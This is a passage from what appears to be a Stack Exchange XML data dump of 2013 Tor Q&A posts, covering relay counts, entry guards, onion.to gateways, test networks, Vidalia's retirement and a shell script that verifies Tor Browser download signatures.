time&lt;/a&gt;, from which countries they are coming from and, since recently, &lt;a href=&quot;https://metrics.torproject.org/users.html#userstats-bridge-transport&quot;&gt;bridge users by pluggable transport&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I learn about the performance of the network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The metrics portal has information about, e.g., how long it &lt;a href=&quot;https://metrics.torproject.org/performance.html&quot;&gt;takes to download a file over Tor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I learn if the network is in good shape regarding the network-documents that get published like the consensus?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's possible to see how much &lt;a href=&quot;https://metrics.torproject.org/network.html#dirbytes&quot;&gt;directory traffic is pushed by the authorities&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-10-22T18:09:24.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="643" PostTypeId="2" ParentId="638" CreationDate="2013-10-22T20:32:13.573" Score="3" Body="&lt;p&gt;By default Tor will not require authentication from local users. Have you enabled cookie authentication in torrc? If you have, Tor will write the cookie in the file control_auth_cookie in the Tor data directory: &lt;a href=&quot;http://archives.seul.org/or/talk/Jan-2009/msg00071.html&quot; rel=&quot;nofollow&quot;&gt;http://archives.seul.org/or/talk/Jan-2009/msg00071.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="348" LastActivityDate="2013-10-22T20:32:13.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="644" PostTypeId="2" ParentId="639" CreationDate="2013-10-23T04:50:01.013" Score="4" Body="&lt;p&gt;As Samuel Walker notes, it's probably better than nothing, depending on your circumstances and threat model. You might be interested in the &lt;a href=&quot;http://www.shadowdcatconsulting.com/&quot; rel=&quot;nofollow&quot;&gt;Guardian Rom project&lt;/a&gt;. There's a &lt;a href=&quot;https://www.wilderssecurity.com/showthread.php?t=348416&quot; rel=&quot;nofollow&quot;&gt;thread&lt;/a&gt; at Wilders Security Forums. It was on hold for a while, but seems to be moving again. Here's a quote from &lt;a href=&quot;https://www.wilderssecurity.com/showpost.php?p=2295630&amp;amp;postcount=77&quot; rel=&quot;nofollow&quot;&gt;a recent update&lt;/a&gt; from x942 aka Kyle Davidson:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Full disk Encryption and PDE are integrated at the user level in&#xA;  the settings app. No need for a computer to set it up any more.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2) Root works, enabled by default in superuser app (open source one).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3) Yubikey OTP support is now added into the settings app as well. If&#xA;  you use a lock screen pin/password you can now choose to add yubikey&#xA;  as a second factor or as a &quot;skip&quot; token so you can skip entering the&#xA;  password/pin if you use the yubikey instead. The YubiKey will work in&#xA;  OTP mode (using yubicloud) or using HMAC Challenge-Response instead so&#xA;  we can auth offline/no data connection needed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;4) Under settings -&gt; security we have added a menu for lock screen pin&#xA;  and one for encryption settings. These pins are independent now.&#xA;  Encryption settings lets you choose the password for encryption. This&#xA;  only effects the OS you booted. So if you are in your Hidden OS this&#xA;  changes the Hidden OS password. If you are in the Outer OS this&#xA;  changes the Outer OS password.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;5) We are about 20% done adding Ina [&lt;em&gt;sic&lt;/em&gt;] GUI front-end for IPTables in the&#xA;  settings app.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;6) We are 2% done migrating databases over to SQLCipher.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;7) Panic Button - This is a lockscreen/homescreen widget that can be&#xA;  configured to shutdown/wipe the phone if pressed. It also can prompt&#xA;  the user ever 'x' minutes to enter a pin. If the pin is not entered in&#xA;  30 seconds or the duress pin is entered the phone shutsdown&#xA;  immediately (or wipes optionally). Sort of a dead man's switch.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-23T04:50:01.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="645" PostTypeId="1" AcceptedAnswerId="715" CreationDate="2013-10-23T06:59:38.080" Score="3" ViewCount="2496" Body="&lt;p&gt;Is there a guide to build static version of Tor from latest source on Ubuntu 13.04?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for ldd output: &#xA;&lt;code&gt;not a dynamic executable&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is main problem that I have remembered, openssl-dev doesn't contain static part, only shared version of libraries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no problems on the OpenBSD, but Ubuntu. Am I must rebuild the whole backend by myself?&lt;/p&gt;&#xA;" OwnerUserId="359" LastEditorUserId="923" LastEditDate="2014-03-04T08:22:26.747" LastActivityDate="2014-03-04T08:22:26.747" Title="How to properly build static binary of Tor on Ubuntu 13.04?" Tags="|configuration|ubuntu|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="646" PostTypeId="1" CreationDate="2013-10-23T11:28:46.433" Score="8" ViewCount="411" Body="&lt;p&gt;I see from the Tor &lt;a href=&quot;https://metrics.torproject.org/network.html&quot;&gt;network-metrics page&lt;/a&gt; that there are only ~1000 exit relays. Even if the Tor browser is secure, having so few exit relays limits the anonymity provided, right? How could the Tor Project facilitate and encourage new exit relays?&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="100" LastEditDate="2013-10-23T20:39:49.927" LastActivityDate="2013-10-24T06:30:09.273" Title="Why are there only 1000 exit relays?" Tags="|tor-browser-bundle|exit-relays|torcheck|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="647" PostTypeId="2" ParentId="646" CreationDate="2013-10-23T11:58:35.743" Score="3" Body="&lt;p&gt;Yes, there are only 1k exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is easy to explain why so. Earlier, Internet was a paradise of spammers. There are couple of generations of spammers growth in the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've setup your node as an exit, you've lost your IP address forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Just try it yourself.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will become blacklisted by every kind of &lt;a href=&quot;https://en.wikipedia.org/wiki/SpamCop&quot; rel=&quot;nofollow&quot;&gt;SpamCops&lt;/a&gt;. Requests from your IP would be locked on Google, Yahoo, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even wikipedia will deny you to share your knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is not so bad. &lt;strong&gt;The real terrible thing is a 2.5k of middle-relays only.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peoples share thousands of terabytes of pirate's DVD, but wantn't share their bandwidth. The main problem that I see, they just don't know the difference between the middle-node and an exit. Who tries once setup an exit, now staying away from Tor. The simplicity of keeping middle-relay must be illuminated another, more popular, way.&lt;/p&gt;&#xA;" OwnerUserId="359" LastActivityDate="2013-10-23T11:58:35.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="648" PostTypeId="1" CreationDate="2013-10-23T23:20:05.967" Score="4" ViewCount="1606" Body="&lt;p&gt;Downloading&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sha256sums.txt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;downloading one or more signatures&lt;/li&gt;&#xA;&lt;li&gt;the archive itself&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then verifying each signature one by one. Then creating the sha256 of the archive. Then looking into the &lt;code&gt;sha256sums.txt&lt;/code&gt; file if the sha256 sum matches. These are a lot steps. Kinda more cumbersome than verifying TBB 2.x (where you just verify the archive with a signature).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the required steps be reduced a bit without sacrificing security? Is &lt;code&gt;shasums --check&lt;/code&gt; helpful?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want, feel free to edit this question and make it Linux/CLI specific if its too broad.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorDisplayName="user66" LastEditDate="2013-10-24T13:01:36.787" LastActivityDate="2013-12-25T09:37:22.833" Title="How to verify Tor Browser Bundle (TBB) 3.x?" Tags="|tor-browser-bundle|verification|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="649" PostTypeId="2" ParentId="646" CreationDate="2013-10-23T23:26:33.163" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;There is no incentive from doing so.&lt;/li&gt;&#xA;&lt;li&gt;In other systems not related to Tor, usually the users are happy to contribute back to whatever they are using. This doesn't work for Tor.&#xA;Most users interested in Tor want to hide their identity. Anonymously hosting a relay is difficult. They fear, that hosting even a middle relay will give them unwanted attention.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-10-23T23:26:33.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="650" PostTypeId="2" ParentId="639" CreationDate="2013-10-23T23:32:00.297" Score="3" Body="&lt;p&gt;Even if you consider Android security totally broken Tor is still useful, at least:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For circumvention.&lt;/li&gt;&#xA;&lt;li&gt;As a political statement.&lt;/li&gt;&#xA;&lt;li&gt;For adding hay to the haystack.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="80" LastEditorUserId="71" LastEditDate="2013-11-09T14:46:36.700" LastActivityDate="2013-11-09T14:46:36.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="651" PostTypeId="1" AcceptedAnswerId="665" CreationDate="2013-10-24T02:12:32.397" Score="13" ViewCount="1292" Body="&lt;p&gt;What would be the best [and cheapest] way to set up a private Tor network for testing and experimentation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A rough size estimate is that it should consist of 12 or more onion-routers and should be usable for experimenting with both standard Tor and Tor hidden services.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2013-10-28T00:22:30.843" Title="Best way to set up a Tor lab?" Tags="|relays|configuration|directory|research|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="652" PostTypeId="1" CreationDate="2013-10-24T05:17:52.593" Score="4" ViewCount="4714" Body="&lt;p&gt;How to call Tor browser using &lt;a href=&quot;https://en.wikipedia.org/wiki/Selenium_%28software%29&quot; rel=&quot;nofollow&quot;&gt;Selenium&lt;/a&gt; testing framework using Java?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded Tor and I have started IDE with Selenium JARs included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to open Tor browser using selenium with Java and want to work on web URL.&lt;/p&gt;&#xA;" OwnerDisplayName="user445" LastEditorUserId="114" LastEditDate="2013-10-25T11:42:52.483" LastActivityDate="2015-09-17T15:07:36.180" Title="How to call Tor browser using Selenium using Java?" Tags="|tor-browser-bundle|java|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="653" PostTypeId="2" ParentId="646" CreationDate="2013-10-24T06:30:09.273" Score="8" Body="&lt;p&gt;Having only a thousand exit relays does not harm your anonymity directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there were only a thousand users, then that would be a problem.  But there aren't.  There are many thousands of users, and you get your anonymity from blending in with them.  Or, in other words, you derive anonymity because nobody can tell you from the hundreds of thousands of other Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, having few fast exit relays harms diversity.  Concentrating a large portion of the network isn't good because then a single node can see a significant part of the entire traffic.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-24T06:30:09.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="654" PostTypeId="1" AcceptedAnswerId="656" CreationDate="2013-10-24T10:54:41.527" Score="2" ViewCount="193" Body="&lt;p&gt;I have just finished reading the posting on arma's blog about &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot; rel=&quot;nofollow&quot;&gt;entry guards&lt;/a&gt; and I'm trying to reconcile what I have read there with what I (think) I understand from other postings about Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I assume (please tell me if I correct or not) that a new set of guards is selected each time a user initiates a Tor session, so the remarks about retaining guards for periods of 6 to 12 months would suggest that some Tor sessions are of extremely long duration. Is that correct, and are there any statistics about the distribution of duration of Tor sessions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, there are several warnings, in other Tor guides, not to mix different identities in the same Tor session. I understand that to mean that, if I use a pseudonymous identity of Frank in one session and access websites that recognize me as Frank, then I should not also use the pseudonymous identity of George (to access the same or different websites) in the same session. Again, is that correct? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, how does one reconcile the apparent desirability of maintaining guards (and, therefore, presumably a session) with the &quot;don't mix identities&quot; warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would very much appreciate some clarification both of whether my understanding is correct and of the apparently competing risks/benefits. Alternatively, if there are particular documents that I should read to clarify a misunderstanding or to answer my own question, then I would appreciate a pointer to those docs.&lt;/p&gt;&#xA;" OwnerUserId="435" LastEditorUserId="-1" LastEditDate="2013-10-24T11:34:26.037" LastActivityDate="2013-10-25T11:42:35.937" Title="Entry guards and separate identities" Tags="|guard|session|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="655" PostTypeId="2" ParentId="654" CreationDate="2013-10-24T11:38:50.963" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;First, I assume (please tell me if I correct or not) that a new set of guards is selected each time a user initiates a Tor session&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's incorrect. Tor stores the details of the guard nodes it used during its last session. Unless the appropriate time period has elapsed, it will reuse the cached ones when it next starts up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails, due to its non-persistent nature does note take advantage of this, as it has no way to save the guard details between reboots.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2013-10-25T11:42:35.937" LastActivityDate="2013-10-25T11:42:35.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="656" PostTypeId="2" ParentId="654" CreationDate="2013-10-24T13:05:13.447" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Third, how does one reconcile the apparent desirability of maintaining guards (and, therefore, presumably a session) with the &quot;don't mix identities&quot; warnings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I believe you are mixing two concepts here. Guard relays protect your connection to the Tor network. The &quot;identities&quot; (Frank and George) are presumably id's on web pages, and as such only visible in traffic leaving the Tor network from the exit relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor maintains your guard relays automatically. Every few weeks new guard relays will be selected. No need to think about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't mix identities in a session probably refers to the fact that during one session you will use one exit relay. An opponent watching the traffic from the exit relay could figure out that Frank and George are connected.&#xA;To solve this Tor provides a means of switching to another exit relay, the &quot;Use a New Identity&quot; button in Vidalia.&lt;/p&gt;&#xA;" OwnerUserId="348" LastActivityDate="2013-10-24T13:05:13.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="657" PostTypeId="2" ParentId="652" CreationDate="2013-10-24T17:43:35.283" Score="5" Body="&lt;p&gt;Tor Browser is essentially Firefox, with a couple of patches. I don't think that the patches would affect the use of Selenium when compared to normal Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.seleniumhq.org/docs/03_webdriver.jsp&quot; rel=&quot;nofollow&quot;&gt;Selenium documentation&lt;/a&gt; shows how to create a Firefox based WebDriver project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://code.google.com/p/selenium/wiki/FirefoxDriver&quot; rel=&quot;nofollow&quot;&gt;FirefoxDriver&lt;/a&gt; in particular can take parameters to the location of Firefox, and the profile to use. You should update these to point to the TorBrowser. The &lt;em&gt;useExisting&lt;/em&gt; flag looks promising for once you've started the Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested any of this, but I expect this is enough to point you in the right direction. I expect someone else will come along and contribute a more verbose answer.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="131" LastEditDate="2013-10-24T18:05:08.850" LastActivityDate="2013-10-24T18:05:08.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="658" PostTypeId="1" CreationDate="2013-10-24T20:00:35.307" Score="4" ViewCount="3046" Body="&lt;p&gt;I'm trying to write a little application which connects to the internet over Tor. The application uses the &lt;a href=&quot;http://www.zeromq.org&quot; rel=&quot;nofollow&quot;&gt;zeromq&lt;/a&gt; messaging library to get some information from another server and it's basically only one file that runs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow&quot;&gt;TorifyHOWTO page&lt;/a&gt; I read some more information about torifying an application, but I'm kind of lost in that page. Also, I wonder if I should make some kind of wrapper around my program, or around the zeromq messaging library. I suppose I might be able to get zeromq to use a certain (Tor)proxy. But if so, what kind of proxy information should I use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody provide some hints about where I could start? (example code would be great)&lt;/p&gt;&#xA;" OwnerUserId="246" LastEditorUserId="923" LastEditDate="2014-07-02T01:41:18.530" LastActivityDate="2014-07-05T11:28:56.377" Title="How to configure my own application to use Tor?" Tags="|configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="659" PostTypeId="2" ParentId="501" CreationDate="2013-10-24T20:03:04.867" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If such systems were implemented, would the networking overhead be unworkably large?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Speculating here: Tor's scaling survived the botnet attack and all those clients created hidden services to communicate with each other, no?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Such systems would facilitate high-throughput abuse of Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Would they?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How could that threat be mitigated?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As last resort, the hidden services feature could be removed from Tor. As soon as relays upgrade, it's gone.&lt;/li&gt;&#xA;&lt;li&gt;I don't think it's up to Tor to decide what good and what bad traffic is nor that Tor has any chance determining that.&lt;/li&gt;&#xA;&lt;li&gt;There has been discussions about &lt;a href=&quot;https://blog.torproject.org/blog/research-problem-adaptive-throttling-tor-clients-entry-guards&quot; rel=&quot;nofollow&quot;&gt;adaptive throttling of Tor clients by entry guards&lt;/a&gt; however.&lt;/li&gt;&#xA;&lt;li&gt;There are &lt;a href=&quot;https://blog.torproject.org/blog/hidden-services-need-some-love&quot; rel=&quot;nofollow&quot;&gt;lots of&lt;/a&gt; other ideas improving scalability of hidden services. Also generally improving Tor performance and scalability is still possible. More to do than anyone can do in a life time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-10-24T20:03:04.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="660" PostTypeId="2" ParentId="628" CreationDate="2013-10-24T22:42:08.307" Score="3" Body="&lt;p&gt;You could store the state in something similar to BitMessage or Kademlia DHT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use some kind of a distributed database (like FreeNet) to store the static content (images, html templates, scripts and such).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you would need a client program that is basically a local server to retrieve the data, and process it (in a way that ensures the scripts don't leak or do anything otherwise nefarious, so no network access or access to local information). You can stick it in some kind of a virtual environment/jail. And finally make it accessible to a browser by hosting it locally (this browser should probably have the javascript turned off, or itself be a virtual environment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the data to be publicly writeable then you would probably want to setup some kind of anonymous public/private key signing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem is the time. BitCoin takes up to 10 minutes to authenticate a transfer. So there would be a while for your state change to propagate through the distributed network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have to protect against spam. How do you ensure that I don't create a billion accounts and clog up the network. You could require proof-or-work similar to NameCoin. Or alternatively use a subscription based service (my node will only process and store content of users I'm interested in, FreeNet does something like that except its based on content accessed).&lt;/p&gt;&#xA;" OwnerUserId="448" LastEditorUserId="448" LastEditDate="2013-10-24T23:01:17.267" LastActivityDate="2013-10-24T23:01:17.267" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="661" PostTypeId="1" AcceptedAnswerId="662" CreationDate="2013-10-25T08:11:17.733" Score="17" ViewCount="7478" Body="&lt;p&gt;So I was searching to see what happened to &lt;em&gt;Dread Pirate Roberts&lt;/em&gt;, the creator of underground marketplace &lt;em&gt;Silkroad&lt;/em&gt;, and I came across something very strange; onion websites URLs being crawled by Google (see photo below). Does Google actually index onion sites? Under the Silk Road title, it seems it's saying that the content isn't actually hosted inside the Tor network, but then again, doesn't the domain .onion.to imply that it is actually inside Tor nework?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3F8Sn.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="449" LastEditorDisplayName="user66" LastEditDate="2013-10-25T08:27:43.427" LastActivityDate="2013-10-26T13:38:37.320" Title="Google indexing Onion hidden sites?" Tags="|onion-services|anonymity|google|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="662" PostTypeId="2" ParentId="661" CreationDate="2013-10-25T08:22:29.420" Score="19" Body="&lt;p&gt;&lt;code&gt;http://onion.to/&lt;/code&gt; is a proxy into Tor hidden services.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This gateway to Tor hidden services provides convenient access to Tor hidden services. It is a pure proxy that forwards requests to the respective hidden service. We do not store any data and are not liable for the content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see from the domain, it does not end in &lt;code&gt;.onion&lt;/code&gt; as the hidden service domain inside the Tor network does. In fact the hidden service domain&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is mapped to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo.onion.to&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which can be accessed via normal HTTP without using a Tor client. This provides &lt;em&gt;no anonymity&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Onion.to as a gateway cannot offer any anonymity for the visitor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Google can access such a proxied hidden service without using a Tor client, too.&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2013-10-25T08:22:29.420" CommentCount="0" CommunityOwnedDate="2015-06-29T19:34:35.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="663" PostTypeId="1" AcceptedAnswerId="668" CreationDate="2013-10-25T11:17:48.667" Score="12" ViewCount="1767" Body="&lt;p&gt;This question is prompted by the answer that was given to my &lt;a href=&quot;https://tor.stackexchange.com/questions/635/tor-browser-behaviour-in-windows-versus-linux&quot;&gt;question&lt;/a&gt; about the different behavior of the Tor Browser Bundle in Linux and Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the Tor Browser Bundle is to dump Vidalia with the move to TBB version 3.x, what will happen with Tails? Vidalia seems to be the foundation for the torifcation of the whole of the live distribution in Tails? Without it, how will users interact with Tor (e.g., request a new identity, look at the network map, look at messages etc), particularly with &lt;em&gt;non-browser&lt;/em&gt; applications that don't have TBB's Tor button? And given that Vidalia is not being maintained, what is the best method for Windows and Linux users to be interacting with Tor?&lt;/p&gt;&#xA;" OwnerUserId="435" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2018-09-11T19:13:27.683" Title="Where to with Tails when Vidalia dies" Tags="|tor-browser-bundle|tails|vidalia|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="664" PostTypeId="2" ParentId="658" CreationDate="2013-10-25T17:35:52.233" Score="1" Body="&lt;p&gt;To torify an application, you can use advtor:&#xA;&lt;a href=&quot;http://sourceforge.net/projects/advtor/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/advtor/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="450" LastEditorUserId="923" LastEditDate="2014-07-05T11:28:56.377" LastActivityDate="2014-07-05T11:28:56.377" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="665" PostTypeId="2" ParentId="651" CreationDate="2013-10-25T21:57:07.383" Score="12" Body="&lt;p&gt;The easiest way is to emulate the network, such as with &lt;a href=&quot;https://crysp.uwaterloo.ca/software/exptor/&quot;&gt;ExperimenTor&lt;/a&gt; (which uses virtual machines) or &lt;a href=&quot;http://shadow.github.io/&quot;&gt;Shadow&lt;/a&gt; (which uses a discrete event simulator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Shadow (which I have more experience with), a 20 node network should &lt;a href=&quot;https://github.com/shadow/shadow/wiki/Using-the-scallion-plug-in#scalability&quot;&gt;fit in 4 GB of RAM&lt;/a&gt; such as on a Amazon EC2 m1.large server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is &lt;a href=&quot;https://gitweb.torproject.org/chutney.git&quot;&gt;Chutney&lt;/a&gt;, which is simpler than either ExperimenTor or Shadow, but is still in need of some development work.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-10-25T21:57:07.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="667" PostTypeId="2" ParentId="648" CreationDate="2013-10-26T08:19:43.267" Score="1" Body="&lt;p&gt;This could be scripted.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!/bin/sh&#xA;&#xA;d=https://archive.torproject.org/tor-package-archive/torbrowser/3.0a4/&#xA;z=TorBrowserBundle-3.0-alpha-4-osx32_de.zip&#xA;&#xA;wget --no-check-certificate $d/$z&#xA;wget --no-check-certificate $d/sha256sums.txt&#xA;for u in dcf erinn gk ln5 mp&#xA;do&#xA;    wget --no-check-certificate $d/sha256sums.txt.$u-asc&#xA;done &#xA;&#xA;verified=1&#xA;for asc in *-asc&#xA;do&#xA;    gpg --verify $asc sha256sums.txt&#xA;    v=$?&#xA;    [[ $v -eq 0 ]] &amp;amp;&amp;amp; verified=0&#xA;done&#xA;&#xA;if [[ $verified -eq 0 ]]&#xA;then&#xA;    t=$(mktemp -t sha)&#xA;    grep $z sha256sums.txt &amp;gt; $t&#xA;    shasum -c $t&#xA;    rm $t&#xA;else&#xA;    echo no signature could be verified&#xA;fi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works on Mac OS X with all the tools installed from MacPorts.&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastActivityDate="2013-10-26T08:19:43.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="668" PostTypeId="2" ParentId="663" CreationDate="2013-10-26T11:23:18.387" Score="3" Body="&lt;p&gt;Vidalia is just an interface to control the separate Tor client. In the Tor Browser Bundle that functionality will be moved into TorButton - which is found in the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as Tails is concerned, Vidalia has very little to do with the torification of the whole system. It actually uses some &lt;code&gt;iptables&lt;/code&gt; rules to force all network traffic through Tor - Vidalia has nothing to do with these &lt;code&gt;iptables&lt;/code&gt; rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how users will control Tor once Vidalia is gone, Tails currently includes TorButton inside IceWeasel (an unbranded Firefox), I see no reason that they wouldn't use the expanded TorButton as the primary control point.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-26T11:23:18.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
